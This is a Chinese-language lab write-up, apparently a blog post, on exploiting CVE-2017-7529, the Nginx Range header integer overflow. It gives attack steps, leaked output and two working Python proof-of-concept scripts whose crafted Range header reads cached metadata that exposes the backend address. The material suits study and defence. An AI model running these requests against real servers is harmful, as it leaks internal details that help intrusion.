CVE-2017-7529 Nginx Range头整数溢出漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2017-7529
影响版本 Nginx 0.5.6 ~ 1.13.2
靶场版本 Nginx 1.13.2
漏洞类型 Range头整数溢出 → 信息泄露
靶机地址 http://192.168.229.60:8080

漏洞原理

Nginx作为反向代理时,通常会缓存后端返回的静态文件。缓存文件的结构如下:

复制代码
[文件头元数据] [HTTP响应头] [HTTP响应体]
                             ↑ 正常只返回这里

Nginx的range filter模块在处理HTTP请求头中的Range字段时存在整数溢出漏洞。当构造包含超大负数Range头时,Nginx的偏移计算产生整数溢出,导致start位置变成负数,从而越界读取到响应体之前的缓存元数据和HTTP响应头。

复制代码
正常计算:start = 文件长度 - end  →  正值
漏洞计算:start = 文件长度 - (-9223372036854773979)
                                      ↓
                              整数溢出 → 负数偏移
                                      ↓
                          读取到文件头 + 响应头
  • Nginx 的 startendint64_t 类型

  • 构造 Range: bytes=-X, -超大负数 → 溢出后 start 变成负数

  • Nginx 错误地将可读取范围扩展到了缓存文件的头部区域

  • 敏感信息(后端地址、缓存KEY、内部头)被泄露

攻击步骤

Step 1:访问目标使其缓存

先用正常请求访问一次,让 Nginx 把页面缓存下来:

复制代码
curl -s http://192.168.229.60:8080/ > /dev/null

Step 2:运行漏洞POC

复制代码
python3 poc.py http://192.168.229.60:8080/

Step 3:解析泄露数据

成功读取到缓存文件头部的敏感信息:

复制代码
Content-Range: bytes -9223372036854773979-611/612
​
-- 泄露内容 --
KEY: http://127.0.0.1:8081/
                      ↑ 后端真实地址泄露
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Sun, 14 Jun 2026 14:45:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
ETag: "59526062-264"
Accept-Ranges: bytes

注意: -9223372036854773979 这个巨负的数就是整数溢出的结果,Nginx 把它解析成了负数偏移,导致越界向前读取缓存文件头部。

Python版完整利用脚本

复制代码
import requests
​
# CVE-2017-7529 POC for Nginx Integer Overflow
# Usage: python3 poc.py http://target:8080/
​
target = "http://192.168.229.60:8080/"
​
# 第一次请求:让Nginx缓存
requests.get(target).content
​
# 第二次请求:利用Range头触发整数溢出
headers = {
    "Range": "bytes=-605, -9223372036854774591"
}
​
r = requests.get(target, headers=headers)
​
# 解析multipart响应
for part in r.text.split("--"):
    if "Content-Range:" in part and "-922337203685477" in part:
        print("=== 泄露的缓存头部信息 ===")
        # 提取Content-Range后面的内容
        lines = part.strip().split("\n")
        for line in lines:
            if "KEY:" in line or "Server:" in line or "Date:" in line:
                print(line)
        # 也打印完整内容
        print("\n=== 完整泄露数据 ===")
        print(part.strip())

POC源码解析(来自vulhub)

复制代码
import requests
​
url = "http://192.168.229.60:8080/"
# 关键:第一个Range值控制正常读取范围
#       第二个Range值是超大的负数,触发整数溢出
#       65536是经过计算的偏移值,可以微调
#       -9223372036854774591 ≈ -(2^63 - 2^12)
​
headers = {
    "User-Agent": "Mozilla/5.0",
    "Range": "bytes=-65536, -9223372036854774591"
}
​
r = requests.get(url, headers=headers)
print(r.text)

关键要点总结

  1. 超大负数Range值是漏洞核心,用于触发整数溢出

  2. ✅ 第一次访问让Nginx缓存页面是前提条件

  3. ✅ 成功读到 KEY: 字段 → 泄露后端真实地址(127.0.0.1:8081)

  4. ✅ 成功读到 HTTP响应头 → 泄露服务器版本、时间戳等信息

  5. ✅ 读取的乱码部分是Nginx缓存文件的内部文件头元数据

  6. ⚠️ 偏移值可以调整(如poc.py中的605),不同文件可能需要微调才能命中缓存头部位置

相关推荐
鹤落晴春5 小时前
有状态应用 vs 无状态应用
运维·云原生·k8s
starzy19907 小时前
虚拟化解决方案全景:软件虚拟化、硬件虚拟化与 Docker 的位置
运维·docker·容器
Neighbor_OldY7 小时前
云上安全配置审计与误配置修复实战:从安全组、OSS、RAM到数据库的全栈排查复盘
大数据·运维·安全·云计算
开心大爆炸9 小时前
xrdp 连接 登录对话框输入密码后闪退
linux·运维·服务器
苏生Susheng10 小时前
【软件实施】Linux系统Shell脚本教程
linux·运维·服务器·chrome·spring boot·学习·实施
2601_9623049110 小时前
把出片接进自动化流水线:2026 年批量 AI 视频生成工具的脚本契约与同类项目对照
运维·人工智能·自动化
Ruiery10 小时前
Linux 6.6内核 IOMMU 深度解析(七):DMA API 与 IOMMU 集成 — 从 dma_map_single 到 iommu_map
linux·运维·服务器
snow@li10 小时前
服务器运维:Alibaba Cloud Linux 4 LTS 64位 根目录全景深度解析文章
linux·运维·服务器
实战派K8S&DB10 小时前
《基于 Dify + FastAPI + PyTiDB 搭建大模型驱动的 TiDB 智能运维 Agent》
运维·数据库·分布式·云原生·tidb·fastapi
苏生Susheng11 小时前
【软件实施】Linux企业运维常用命令手册
java·linux·运维·服务器·springboot·springcloud·软件实施